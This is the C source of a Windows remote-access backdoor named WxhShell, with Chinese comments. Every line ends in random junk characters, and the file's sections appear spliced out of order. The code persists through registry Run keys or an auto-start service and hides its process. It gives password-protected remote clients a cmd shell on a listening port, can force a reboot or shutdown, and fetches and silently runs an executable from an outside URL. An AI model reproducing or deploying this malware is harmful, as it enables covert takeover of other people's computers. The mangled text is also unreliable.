    if(Boot(SHUTDOWN)) -><QFJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B/u*<k4  
    else { ZKsQ2"8{M  
    closesocket(wsh); tMG@K  
    ExitThread(0); ||gEs/6-  
    } }B*,mn2N  
    break; (1y='L2rj  
    } M 5rwoyn  
  // 获取shell fB[\("+  
  case 's': { I3ho(Kdi  
    CmdShell(wsh); x#o?>5Qg?  
    closesocket(wsh); b.6ZfB,+G  
    ExitThread(0); Z]e4pR6!  
    break; hwZ6 .  
  } 09x+Tko9;*  
  // 退出 DrV0V .t,  
  case 'x': { ox JGJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .='3bQ(UZ4  
    CloseIt(wsh); d.b?! kn  
    break; XL?A w  
    } /9TL&_A-T  
  // 离开 8q{1E];:q  
  case 'q': { j$%yw4dsj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J(&Gmk9&  
    closesocket(wsh); afV P-m4L  
    WSACleanup(); cC' ^T6  
    exit(1); eTT^KqE>&  
    break; +Gp!cGaAm  
        } 1uY3[Z9S  
  } ,?;sT`Mh)  
  } 5@CpP-W#  
bA0uGLc  
  // 提示信息 xan/ay>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &,_?>.\[<  
}  Q;Q  
  } 3[iSF5%V*p  
^,~N7`  
  return; T:dX4=z  
} 0K`ZX&K?W  
B>ge, }{  
// shell模块句柄 '[n)N@h  
int CmdShell(SOCKET sock) u% r!?-z  
{ nh?9R&  
STARTUPINFO si; 4*YOFU}l  
ZeroMemory(&si,sizeof(si)); L;4[ k;5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @\S]]oLn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @yCW8]  
PROCESS_INFORMATION ProcessInfo; P7cge  
char cmdline[]="cmd"; QR|XV%$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }ty"fI3&iY  
  return 0; tru;;.lj8K  
} LAizx^F  
[}jj<!9A_;  
// 自身启动模式 @'@s*9Nr  
int StartFromService(void) 3^j~~ "2,w  
{ y @]8Ep  
typedef struct DBLA% {05  
{ |K'Gw}fX/  
  DWORD ExitStatus; ,^n-L&  
  DWORD PebBaseAddress; 3j]UEA^  
  DWORD AffinityMask; Kp$_0  
  DWORD BasePriority; D9e+  
  ULONG UniqueProcessId; Zj:a-=  
  ULONG InheritedFromUniqueProcessId; $^!a`Xr  
}   PROCESS_BASIC_INFORMATION; 0~(\lkh*!9  
&NlS  =  
PROCNTQSIP NtQueryInformationProcess; %H 8A=  
|E"Xavi>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DN4fP-m-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E~rs11  
:5$xh  
  HANDLE             hProcess; )[e%wPu4e  
  PROCESS_BASIC_INFORMATION pbi; ZTN:|IKT  
W\nHX I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L7i}Ga!8  
  if(NULL == hInst ) return 0; 16a_GwfM  
E \ K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); " whO}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Wg}B@:`T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =}B4I  
P@^z:RS*{  
  if (!NtQueryInformationProcess) return 0; ~uP r]#  
2U=/<3;u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^#<: <X6  
  if(!hProcess) return 0; g,A.Y,})  
[K"U_b}w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DBqg_v  
I rtF4ia.  
  CloseHandle(hProcess); yS1b,cxz  
HA$^ *qn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zz7Y/653  
if(hProcess==NULL) return 0; *#9VC)Q  
|@T5$Xg]5  
HMODULE hMod; o(B<!ji~'  
char procName[255]; J=f:\]@Oy  
unsigned long cbNeeded; v_?s1+w  
{bAWc.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NB|RZf9M  
0A) Vtj$  
  CloseHandle(hProcess); Yio>ft&g]  
xI/{)I1f  
if(strstr(procName,"services")) return 1; // 以服务启动 zbF:R[)  
^yEj]]6  
  return 0; // 注册表启动 4jC4X*  
} >%PL_<Vbv  
[dSDg2]  
// 主模块 [4K9|/J  
int StartWxhshell(LPSTR lpCmdLine) 7yq7a[Ra  
{ LUe>)eqw  
  SOCKET wsl; ~!a~C~_  
BOOL val=TRUE; 2b 6? 9FX*  
  int port=0; iBGSBSeL&  
  struct sockaddr_in door; _IQU<Za  
fPh}l  
  if(wscfg.ws_autoins) Install(); F20wf1^  
vF*^xhh  
port=atoi(lpCmdLine); 0?J|C6XM#4  
E<X{72fb>  
if(port<=0) port=wscfg.ws_port; RTgQ#<W8  
= )JVT$]w  
  WSADATA data; yr/]xc$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Rye ~w6  
O<eWq]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~$?y1Yv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =!pu+&I 9  
  door.sin_family = AF_INET; /pAm8vK   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1sIy*z  
  door.sin_port = htons(port); QK``tWLIg7  
L5-T6CD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $'J6#Vs  
closesocket(wsl); hJC p0F9O  
return 1; L&!g33J&  
} +q`rz  
t+W=2w&  
  if(listen(wsl,2) == INVALID_SOCKET) { TQOg~lH  
closesocket(wsl); S:2u3th7  
return 1; `uM0,Z  
} 6)uPM"cO  
  Wxhshell(wsl); KG4#BY&^  
  WSACleanup(); Q+u#?['  
k *G!.  
return 0; i&}zcGC  
g "K#&  
} ~7,2N.vO2  
azR;*j8Q'  
// 以NT服务方式启动 @aqd'O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uK4'n+_>\  
{ JA SR  
DWORD   status = 0; ABq{<2iYN  
  DWORD   specificError = 0xfffffff; T/Wm S?  
7 BnenHD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0]h8)EW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y?&DEKFbD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &0th1-OP_  
  serviceStatus.dwWin32ExitCode     = 0; 4mM2C`I  
  serviceStatus.dwServiceSpecificExitCode = 0; YvxMA#  
  serviceStatus.dwCheckPoint       = 0; 1a=9z'8V  
  serviceStatus.dwWaitHint       = 0; 'Tru?y \  
ATMogxh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  23(E3:.  
  if (hServiceStatusHandle==0) return; mD^qx0o<  
%0~wtZH_!  
status = GetLastError(); Q~b M  
  if (status!=NO_ERROR) #2lvfR|  
{ fbzKO^Ub  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UpszCY4  
    serviceStatus.dwCheckPoint       = 0; Hl3XqR  
    serviceStatus.dwWaitHint       = 0; j J`Zz  
    serviceStatus.dwWin32ExitCode     = status; .5KC'?  
    serviceStatus.dwServiceSpecificExitCode = specificError; xM'S ;Sg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N?2 #YTjR  
    return; xT=kxyu  
  } eF8 aB?&"  
z|DA _dG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8[`^(O#\E  
  serviceStatus.dwCheckPoint       = 0; o {Xw Li  
  serviceStatus.dwWaitHint       = 0; |peMr#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z[|PsC3i:  
} |0%4G k);  
$!l2=^\3  
// 处理NT服务事件,比如:启动、停止 avxn}*:X.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $)TF,-#x  
{ ExOB P  
switch(fdwControl) ]"7DV3_  
{ u7Y'3x,`  
case SERVICE_CONTROL_STOP: Io4:$w  
  serviceStatus.dwWin32ExitCode = 0; ?lET45'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G2yUuyAZ  
  serviceStatus.dwCheckPoint   = 0;  wc+N  
  serviceStatus.dwWaitHint     = 0; T956L'.+G  
  { 49J+&G?)j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mBpsgm:g^  
  } 4_m /_Z0x  
  return; ]|$$:e^U9  
case SERVICE_CONTROL_PAUSE: \_I)loPc8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z?t(+^  
  break; O[hbu![  
case SERVICE_CONTROL_CONTINUE: @DQ"vFj6<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !k>H e*M}P  
  break; |jaY[_ .@  
case SERVICE_CONTROL_INTERROGATE: n;k97>m${x  
  break; 9+is?Pj  
}; ?_Dnfa_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \'LCC-  
} 'MdE}  
t zW<&^  
// 标准应用程序主函数 iQ]c k-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v20I<!5w  
{ M%5$-;6~_  
da?th  
// 获取操作系统版本 o4[2`mT  
OsIsNt=GetOsVer(); :{xN33@6\X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MMA@J  
;\*Od?1  
  // 从命令行安装 ,@>rubUz  
  if(strpbrk(lpCmdLine,"iI")) Install(); f`9rT c  
-SY:qG3?  
  // 下载执行文件 w[A3;]la  
if(wscfg.ws_downexe) { #c)Ou!Ldb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j3[OY  
  WinExec(wscfg.ws_filenam,SW_HIDE); s-N?Tzi  
} 9;v"bc Q  
V+a%,sI  
if(!OsIsNt) { *r?51*J  
// 如果时win9x,隐藏进程并且设置为注册表启动 2E ; %=e  
HideProc(); ,^IZ[D>u)  
StartWxhshell(lpCmdLine); HlL@{<  
} t`1]U4s&I  
else  ISnS;  
  if(StartFromService()) q'V{vFfY%  
  // 以服务方式启动 ot+~|Dl  
  StartServiceCtrlDispatcher(DispatchTable); *1)NABp6D  
else qQ DFg`  
  // 普通方式启动 2#:]%y;\  
  StartWxhshell(lpCmdLine); uF3p1by  
HToN+z%w3H  
return 0; ^$Io;*N4  
} e$^!~+J7  
]o+|jgkt]  
,/b/O4`;y  
>scS wT  
=========================================== N evvA(M  
XsN#<"f;i  
ccRk4xR  
lPN< rgg  
T17LYHIT  
y yR8VO{  
" _}D?+x,C8  
Dw ;vDK  
#include <stdio.h> oplA'Jgnv  
#include <string.h> 4p.{G%h  
#include <windows.h> zT-"kK  
#include <winsock2.h> YTPmS\ H _  
#include <winsvc.h> Isgk  
#include <urlmon.h> =i5:*J  
>hL'#;:f#  
#pragma comment (lib, "Ws2_32.lib") FHcqu_;J  
#pragma comment (lib, "urlmon.lib") .x$T a l  
/~rO2]rZ@  
#define MAX_USER   100 // 最大客户端连接数 v8k ^=A:  
#define BUF_SOCK   200 // sock buffer *4^]?Y\*  
#define KEY_BUFF   255 // 输入 buffer [<fLPa  
8'xnhV  
#define REBOOT     0   // 重启 ,0~ {nQj]  
#define SHUTDOWN   1   // 关机 8B t-  
=XBXSW8)DJ  
#define DEF_PORT   5000 // 监听端口 x-#9i  
Mh.eAM8_  
#define REG_LEN     16   // 注册表键长度 s]%!  
#define SVC_LEN     80   // NT服务名长度 bfI -!,  
u R%R]X  
// 从dll定义API wXZY5-h4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KC-aLq/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _vLT!y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WI!z92qq[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [k=9 +0p  
}Z? [Ut  
// wxhshell配置信息 (l_de)N7  
struct WSCFG { r= | |sZs  
  int ws_port;         // 监听端口 rtF6Lg  
  char ws_passstr[REG_LEN]; // 口令 <r`Jn49  
  int ws_autoins;       // 安装标记, 1=yes 0=no >~>[}d;glw  
  char ws_regname[REG_LEN]; // 注册表键名 jTgh+j]AP  
  char ws_svcname[REG_LEN]; // 服务名 n rB27  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RF2XJJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /aa;M*Qp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <T/L.>p4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Kcdd=2 [T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S^VV^O5 ^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a[cH@7W.#  
E=*Q\3G~  
}; X/7_mU>aKT  
3M*[a~  
// default Wxhshell configuration wP1VQUL  
struct WSCFG wscfg={DEF_PORT, [f(^vlK  
    "xuhuanlingzhe", ~wg^>!E  
    1, Q4 :r$ &  
    "Wxhshell", S|4/C  
    "Wxhshell", ~%K(ou=2  
            "WxhShell Service", % P)}(e6y  
    "Wrsky Windows CmdShell Service", #=#$b_6*  
    "Please Input Your Password: ", gpvj'Ri7V  
  1, CPeK0(7Zh  
  "http://www.wrsky.com/wxhshell.exe", I3$vw7}5Y  
  "Wxhshell.exe" WA\f`SRF  
    }; +i!M[  
FEmlC,%  
// 消息定义模块 gj;G:;1m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uWj-tzu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qm5pEort  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j77}{5@p  
char *msg_ws_ext="\n\rExit."; ~MQf($]  
char *msg_ws_end="\n\rQuit."; Q%1;{5   
char *msg_ws_boot="\n\rReboot..."; F X2`p_  
char *msg_ws_poff="\n\rShutdown..."; qAik$.  
char *msg_ws_down="\n\rSave to "; XRz6Yf(/  
^ 6|"=+cO\  
char *msg_ws_err="\n\rErr!"; \)uad5`N  
char *msg_ws_ok="\n\rOK!"; h5keYBA  
9d}nyJ  
char ExeFile[MAX_PATH]; [te7 uZv-  
int nUser = 0; J*C*](  
HANDLE handles[MAX_USER]; ]LOtwY  
int OsIsNt; }jgAV  
aKtTx~$@  
SERVICE_STATUS       serviceStatus; p&l:937  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k $&A  
B9:0|i!!A`  
// 函数声明 |?=1tS{iT  
int Install(void); BVp.A]  
int Uninstall(void); K3D $ hb  
int DownloadFile(char *sURL, SOCKET wsh); '+zsj0!A  
int Boot(int flag); Jz0S2&  
void HideProc(void); tp2 _OQAQ  
int GetOsVer(void); o9\m? ~g!E  
int Wxhshell(SOCKET wsl); .. TjEBp  
void TalkWithClient(void *cs); <F & hfy  
int CmdShell(SOCKET sock); 'B6H/d>  
int StartFromService(void); bQjHQ"G  
int StartWxhshell(LPSTR lpCmdLine); 3*JybMo"  
:/l   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1&"1pH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0^Cx`xdX:  
4344PBj  
// 数据结构和表定义 @cGql=t  
SERVICE_TABLE_ENTRY DispatchTable[] = bM3e7olWS  
{ S]g)^f'a65  
{wscfg.ws_svcname, NTServiceMain}, li P{Mu/LO  
{NULL, NULL} e,UgTxZ  
}; ^D[;JV  
i=QhX CM  
// 自我安装 iUBni&B  
int Install(void) ttVSgKAsm  
{ BIyG[y?qO  
  char svExeFile[MAX_PATH]; o2jB~}VMl  
  HKEY key; '=* 5C{  
  strcpy(svExeFile,ExeFile); =oDrN7`,B  
K_3ZJ  
// 如果是win9x系统,修改注册表设为自启动 4]KceE  
if(!OsIsNt) { .&.CbE8K[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >E=a~ O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O8o18m8UH  
  RegCloseKey(key); &W!@3O{~.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a<.@+sj{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iNSJOS  
  RegCloseKey(key); .r'.5RI A  
  return 0; \0*LfVr;P  
    } a $:N9&P  
  } V= PoQ9d  
} ^]gl#&"D  
else { {'kL]qLg  
pBkPn+@  
// 如果是NT以上系统,安装为系统服务 '~J6 mojE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3)\qt s5  
if (schSCManager!=0) _4Pi>  
{ RUu'9#fq  
  SC_HANDLE schService = CreateService nQ~L.V  
  ( 3om-,gfZ  
  schSCManager, .R5z>:A  
  wscfg.ws_svcname, ?K 0V#aq  
  wscfg.ws_svcdisp, Y,~]ecI  
  SERVICE_ALL_ACCESS, <~w#sIh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X ii#Qtd.  
  SERVICE_AUTO_START, MsQS{ok+  
  SERVICE_ERROR_NORMAL, LJ3UB  
  svExeFile, D I[Ee?  
  NULL, 'L/TaP/3  
  NULL, 8 K!a:{  
  NULL, ~O$]y5  
  NULL, PQr N";+  
  NULL iSlVe~ef  
  ); xW~@V)OH  
  if (schService!=0) 8w' 8n  
  { oZtz"B  
  CloseServiceHandle(schService); # 95/,k  
  CloseServiceHandle(schSCManager); q%Pnx_RB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m(Ynl=c  
  strcat(svExeFile,wscfg.ws_svcname); [4yQ-L)]e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a\E]ueVD2j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _A r ,]v  
  RegCloseKey(key); ;@hP*7Lm  
  return 0; Qafg/JU  
    } b87o6"j  
  } +\chHOsw  
  CloseServiceHandle(schSCManager); C@i g3fhV  
} ZT#G:a  
} ><qE5D[  
1S:H!h3  
return 1; >2/zL.O  
} ,P+&-}gn9  
]\lw^.%  
// 自我卸载 S\m]ze  
int Uninstall(void) =fPO0Ot;  
{ \ PqV|  
  HKEY key; B?'ti{p A9  
RJSgts "F  
if(!OsIsNt) { <T]kpP<lC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @gOgs  
  RegDeleteValue(key,wscfg.ws_regname); VK#zmEiB  
  RegCloseKey(key); [>86i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {w++)N2sh  
  RegDeleteValue(key,wscfg.ws_regname); RP9||PFS~~  
  RegCloseKey(key); |IvX7%*]~  
  return 0; F/Xhm91 ^  
  } &Is%I<'o  
} vI@8DWs  
} we9AB_y  
else { JiR|+6"7  
79DC]48M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rIb{=';  
if (schSCManager!=0) :.,I4>b2  
{ ghl9gFFj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +#no$m.bH  
  if (schService!=0) 5`Bb0=j  
  { @[Th{HTc.G  
  if(DeleteService(schService)!=0) { <PxEl4  
  CloseServiceHandle(schService); QZfnoKz  
  CloseServiceHandle(schSCManager); h! <8=V(  
  return 0; q'q{M-U<  
  } 5cU8GgN`  
  CloseServiceHandle(schService); g2I@j3  
  } .(-3L9T}  
  CloseServiceHandle(schSCManager); Sy_M!`B  
} 7vFqO;  
} ;1nd~0o  
"`k[ 4C  
return 1; YS*t7  
} oS4ag  
va0 a4s1O  
// 从指定url下载文件 y~fy0P:T  
int DownloadFile(char *sURL, SOCKET wsh) @ h]H_  
{ +j,;g#d  
  HRESULT hr; Syk^7l  
char seps[]= "/"; nL? B  
char *token; q3:tZoeXV  
char *file; !`gg$9  
char myURL[MAX_PATH]; ! [X<>  
char myFILE[MAX_PATH]; X {$gdz8S9  
1X5\VY>S`h  
strcpy(myURL,sURL); cQny)2k*x  
  token=strtok(myURL,seps); /[OMpP  
  while(token!=NULL) OX"`VE  
  { R+\5hI@ >i  
    file=token; };*5+XY^  
  token=strtok(NULL,seps); ]%."  
  } &Lw| t_y  
(:1 j-  
GetCurrentDirectory(MAX_PATH,myFILE); Vk"QcW  
strcat(myFILE, "\\"); = 4If7  
strcat(myFILE, file); [,dsV d  
  send(wsh,myFILE,strlen(myFILE),0); :MVD83?4  
send(wsh,"...",3,0); >Ry4Cc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OQq7|dZu  
  if(hr==S_OK) F2&KTK  
return 0; G>Q{[m$  
else L`\ILJz  
return 1; 6T-(GHzfHJ  
#L"h >,b  
} Buo1o&&  
L4!$bB~L-  
// 系统电源模块  7;XdTx  
int Boot(int flag) Wq4?`{  
{ jHd~yCq  
  HANDLE hToken; pr2d}~q4{  
  TOKEN_PRIVILEGES tkp; AXyuXB  
SG~R!kN}Q  
  if(OsIsNt) { fKfi   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,O2F}5|;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;23F8M%wH  
    tkp.PrivilegeCount = 1; /mb| %U]~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V;m3=k0U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^^Ius ]  
if(flag==REBOOT) { #&2mu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gC 4w&yL  
  return 0; it.l;L_nW  
} `27? f$,  
else { Kl* ##qw!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y/ `fPgE  
  return 0; G/y< bPQ  
} GXAcy OV  
  } Uz0mSfBp  
  else { G -;Yua2\  
if(flag==REBOOT) { 7(jt:V6V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a}wB7B;,g  
  return 0; 6ugBbP +^  
} 'j.{o  
else { Rk'Dd4"m ,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R}0c O^V  
  return 0; S^_na]M"4  
} ?0.+DB $  
} th]9@7UE,  
xkX, l{6  
return 1; htjJ0>&  
} |h#mv~cF  
cv^^NgQ  
// win9x进程隐藏模块 S\C   
void HideProc(void) A%9"7]:   
{ 6)TFb,  
V3jx{BXs2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^x q%P2s0  
  if ( hKernel != NULL ) 03,+uf  
  { Q>.-u6(&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y4i-Pp?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4[6A~iC_  
    FreeLibrary(hKernel); '\9A78NV{;  
  } #i~.wQ $1  
)wKuumet  
return; TPkm~>zD.  
} c!I> _PD`&  
nI 6`/  
// 获取操作系统版本 ^,?]]=mE  
int GetOsVer(void) [P[syi#]t  
{ +%FG ti$[  
  OSVERSIONINFO winfo; pdE=9l'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kJ~^  }o  
  GetVersionEx(&winfo); MOj 0"x)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Gm*i='f!?  
  return 1; sI~{it#  
  else KB-7]H  
  return 0; VQX#P<  
} 6OVAsmE  
$ @^n3ZQ4  
// 客户端句柄模块 %DiZ&}^Ck  
int Wxhshell(SOCKET wsl) PPohpdd)  
{ bzZEwMc6  
  SOCKET wsh; /$B<+;L!#  
  struct sockaddr_in client; vHao y  
  DWORD myID; 50CU|  
N?~K9jGx(  
  while(nUser<MAX_USER) ;X\!*Loe  
{ NxNz(R $~  
  int nSize=sizeof(client); -tDmzuD6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~_R=2t{u _  
  if(wsh==INVALID_SOCKET) return 1;  |,.glL  
{4#'`Eejj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WhvO-WF  
if(handles[nUser]==0) `/#6k>  
  closesocket(wsh); E9 |i:  
else h8nJ$jg  
  nUser++; ?+51 B-  
  } YncY_Hu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bj7v<G|Y  
L8!xn&uyP=  
  return 0; xGz$M@f  
} R,tR{| 8  
wWwY .}j  
// 关闭 socket 3C.bzw^  
void CloseIt(SOCKET wsh) P_w+p"@m  
{ w2Pkw'a{  
closesocket(wsh); -[ F<u  
nUser--; N>VA`+aFR  
ExitThread(0); n- p|7N  
} `57ffQR9  
Dtelr=/s  
// 客户端请求句柄 W<kJ%42^j  
void TalkWithClient(void *cs) RM,r0Kv17Y  
{ zX(p\NU  
X1$0'u sS  
  SOCKET wsh=(SOCKET)cs; L7 qim.J  
  char pwd[SVC_LEN]; AWGeK-^  
  char cmd[KEY_BUFF]; pi+m`O   
char chr[1]; 1[dza5  
int i,j; J8(v65  
U2!9Tl9".  
  while (nUser < MAX_USER) { {ImZ><xe/  
wz;IKdk[  
if(wscfg.ws_passstr) { Dk8" H >*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .|cQ0:B[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7+@:wX\  
  //ZeroMemory(pwd,KEY_BUFF); ^cd+W?  
      i=0; ~^G k7  
  while(i<SVC_LEN) { @TsOc0?-  
}F**!%4d  
  // 设置超时 _aq3G9C_  
  fd_set FdRead; _v<EFal  
  struct timeval TimeOut; +K]kGF  
  FD_ZERO(&FdRead); -cEjB%Neo  
  FD_SET(wsh,&FdRead); )mJl-u[0+  
  TimeOut.tv_sec=8; 4mUQVzV  
  TimeOut.tv_usec=0; YG<?|AS/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l[.RnM[v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6wfCC,2  
i9uJ%nd:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,+%$vV .g\  
  pwd=chr[0];  >Xh 9{/o  
  if(chr[0]==0xd || chr[0]==0xa) { rs'~' Y  
  pwd=0; ^#p S u  
  break; W8R@Pf  
  } wF[^?K '  
  i++; X5'foFE'  
    } 4w\cS&X~C  
A F>!:  
  // 如果是非法用户,关闭 socket Tw);`&Ulo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Sr/"'w;  
} Whod_Uk  
m^%[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o"J}@nF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1\TXb!OtL  
+QqYf1@F  
while(1) { 2VA\{M  
+t})tDPXw  
  ZeroMemory(cmd,KEY_BUFF); 9#xcp/O  
?(n|ykXwc  
      // 自动支持客户端 telnet标准   xm6cn\e  
  j=0; 0sLR5A  
  while(j<KEY_BUFF) { wZ5 + H%x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z>{3t/`  
  cmd[j]=chr[0]; ,?P@ :S<8  
  if(chr[0]==0xa || chr[0]==0xd) { ;gu_/[P  
  cmd[j]=0;  _p<s!  
  break; ,GA2K .:#  
  } AbC /  
  j++; V \,Z (  
    } '!I^Lfz-Z  
!g-|@W  
  // 下载文件 "}Of f  
  if(strstr(cmd,"http://")) { oDXUa5x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MD%_Z/NL  
  if(DownloadFile(cmd,wsh)) ML^c-xY(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4N|^Joi  
  else b7^VWX%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |X,T>{V?y  
  } Z_.Eale^  
  else { Y9F!HM-`  
`L/kwVl  
    switch(cmd[0]) { Xt %;]1n  
  (,#Rj$W  
  // 帮助 ^Qt4}V=  
  case '?': { </ 3 Shq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FIG3P))  
